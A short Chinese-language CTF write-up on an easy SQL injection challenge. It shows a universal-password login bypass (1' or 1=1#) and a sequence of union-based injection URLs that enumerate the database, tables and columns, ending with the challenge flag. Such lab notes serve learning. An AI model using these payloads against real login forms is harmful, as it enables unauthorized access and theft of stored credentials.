一個比較簡單的SQL注入題目,寫一下做個筆記。
看到登錄直接盲猜賬號密碼admin
和password
,然後在賬號處進行注入,結果還給我試對了。看了一下網上大佬們的做法,發現我就是撿了個漏,正確做法其實是利用萬能密碼登錄,登錄後進行注入。接下來把正規做法記錄一下:
萬能密碼如下:
這裏賬號填1' or 1=1#
,密碼隨便寫。
登陸成功,看了一下url,是以get方式進行傳參。先在username處測試一下有沒有注入點:
?username=1' order by 1%23&password=ads
沒有報錯,只是說賬號密碼錯誤。直到order by 4
的時候,報錯了:
判斷出有三個字段,接下來開始尋找注入點:
?username=1' union select 1,2,3%23&password=ads
很明顯,2和3都是注入點,而且沒有過濾,接下來直接寫命令了。
?username=1' union select 1,database(),3%23&password=ads
得到數據庫名:geek!
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
得到表名geekuser,l0ve1ysq1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
得到字段名id,username,password
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
flag出來了~~
flag{70dfe726-2d2d-443e-a90a-5f5c3163b305}